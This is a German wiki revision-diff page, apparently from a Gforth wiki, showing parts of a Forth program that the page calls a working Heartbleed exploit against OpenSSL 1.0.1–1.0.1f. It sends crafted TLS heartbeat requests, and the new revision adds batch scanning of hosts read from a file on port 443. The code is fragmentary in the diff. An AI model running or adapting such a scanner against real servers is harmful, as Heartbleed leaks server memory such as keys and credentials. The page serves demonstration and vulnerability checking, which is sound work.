examples:heartbleed
Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
Beide Seiten der vorigen RevisionVorhergehende ÜberarbeitungNächste Überarbeitung | Vorhergehende ÜberarbeitungNächste ÜberarbeitungBeide Seiten der Revision | ||
examples:heartbleed [2014-04-11 17:39] – bernd | examples:heartbleed [2014-04-11 18:51] – added batch processing bernd | ||
---|---|---|---|
Zeile 1: | Zeile 1: | ||
====== Heartbleed Check ====== | ====== Heartbleed Check ====== | ||
- | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth (snapshot), und dann mit | + | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http:// |
+ | < | ||
gforth heartbleed.fs < | gforth heartbleed.fs < | ||
+ | </ | ||
starten. | starten. | ||
Zeile 38: | Zeile 40: | ||
s" / | s" / | ||
random32 4 + 28 r@ read-file throw drop r> close-file throw ; | random32 4 + 28 r@ read-file throw drop r> close-file throw ; | ||
- | |||
- | Create pollfds pollfd %size allot | ||
Variable buggy? | Variable buggy? | ||
- | : get-heartbleed ( addr u port -- ) | + | : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off |
- | 1000000 set-socket-timeout | + | 1000000 set-socket-timeout |
- | | + | open-socket >r |
- | open-socket >r r@ fileno pollfds fd l! POLLIN pollfds events w! | + | |
TLS-header header# r@ write-socket | TLS-header header# r@ write-socket | ||
BEGIN r@ pad $10000 read-socket nip 0= UNTIL | BEGIN r@ pad $10000 read-socket nip 0= UNTIL | ||
TLS-heartbleed heartbleed# r@ write-socket | TLS-heartbleed heartbleed# r@ write-socket | ||
- | BEGIN r@ pad $10000 read-socket | + | BEGIN r@ pad $10000 read-socket |
+ | over c@ $18 = buggy? @ or \ heartbeet reply | ||
+ | over 0<> and | ||
+ | | ||
r> close-socket | r> close-socket | ||
- | buggy? @ IF ." Heartbleed | + | |
+ | |||
+ | Variable files | ||
+ | |||
+ | : file-heartbleed ( addr u -- ) | ||
+ | r/w open-file throw files $[]slurp | ||
+ | files [: 443 get-heartbleed ;] $[]map | ||
script? [IF] | script? [IF] |
examples/heartbleed.txt · Zuletzt geändert: 2014-04-11 22:00 von bernd